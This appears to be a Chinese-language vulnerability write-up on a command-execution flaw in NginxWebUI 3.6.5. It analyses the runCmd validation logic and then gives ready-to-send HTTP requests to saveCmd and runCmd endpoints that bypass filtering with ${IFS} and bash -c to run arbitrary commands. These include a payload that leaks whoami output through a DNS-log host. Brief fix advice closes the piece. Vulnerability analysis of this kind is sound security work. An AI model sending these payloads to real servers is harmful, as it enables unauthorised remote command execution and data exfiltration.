nginxWebUi3.6.5 命令执行挖掘
字数 956 2025-08-24 16:48:16
NginxWebUI 3.6.5 命令执行漏洞分析与利用
1. 漏洞概述
NginxWebUI 3.6.5 版本中存在命令执行漏洞,攻击者可以通过精心构造的请求绕过系统校验,在服务器上执行任意命令。
2. 漏洞分析
2.1 关键代码分析
漏洞核心位于 com.cym.controller.adminPage#runCmd 方法,该方法用于执行命令,但有一个校验机制:
private boolean isAvailableCmd(String cmd) {
String nginxPath = ToolUtils.handleConf(this.settingService.get("nginxPath"));
this.settingService.set("nginxPath", nginxPath);
String nginxExe = ToolUtils.handleConf(this.settingService.get("nginxExe"));
this.settingService.set("nginxExe", nginxExe);
String nginxDir = ToolUtils.handleConf(this.settingService.get("nginxDir"));
this.settingService.set("nginxDir", nginxDir);
// 校验逻辑...
}
2.2 校验机制
校验逻辑主要检查传入的 cmd 是否与系统中 nginxExe 参数和 nginxPath 参数值组合相同:
- 允许一些预定义的命令(如
net stop nginx,service nginx start等) - 对于其他命令,必须满足以下条件之一:
cmd等于nginxExe + " -s stop" + dircmd等于nginxExe + " -c " + nginxPath + dir
2.3 过滤机制
ToolUtils.handlePath() 方法对输入进行了过滤:
- 删除
&等特殊字符 - 删除空格
3. 漏洞利用
3.1 绕过思路
- 空格绕过:使用
${IFS}代替空格(Linux 特性) - 命令拼接:利用
bash -c执行复杂命令 - 参数设置:通过
saveCmd或runCmd设置nginxExe和nginxPath
3.2 利用步骤
方法一:通过 saveCmd 设置参数
- 设置
nginxExe和nginxPath:
POST /adminPage/conf/saveCmd HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
nginxExe=ping${IFS}xxxx.dnslog.xxx&nginxPath=1
- 执行命令:
POST /adminPage/conf/runCmd HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
cmd=ping${IFS}xxxx.dnslog.xxx -c 1
方法二:执行系统命令
- 设置参数:
POST /adminPage/conf/saveCmd HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
nginxExe=bash${IFS}&nginxPath=ls
- 执行命令:
POST /adminPage/conf/runCmd HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
cmd=bash${IFS}-c${IFS}ls
方法三:直接通过 runCmd 设置参数(绕过更多限制)
- 设置
nginxExe:
POST /adminPage/conf/runCmd HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
type=nginxExe&cmd=bash
- 设置
nginxPath:
POST /adminPage/conf/runCmd HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
type=nginxPath&cmd="ping `whoami`.xxxx.dnslog.pw"
- 执行命令:
POST /adminPage/conf/runCmd HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
cmd=bash -c "ping `whoami`.xxxx.dnslog.pw"
4. 漏洞修复建议
- 严格限制可执行的命令列表
- 加强输入过滤,包括
${IFS}等特殊替换 - 实现更严格的参数校验机制
- 使用白名单而非黑名单方式验证命令
- 对敏感操作增加权限验证
5. 总结
该漏洞利用系统校验逻辑的缺陷和Linux环境特性,通过精心构造的请求绕过安全限制,最终实现任意命令执行。攻击者可以通过多种方式利用此漏洞,包括直接设置参数或利用bash -c执行复杂命令。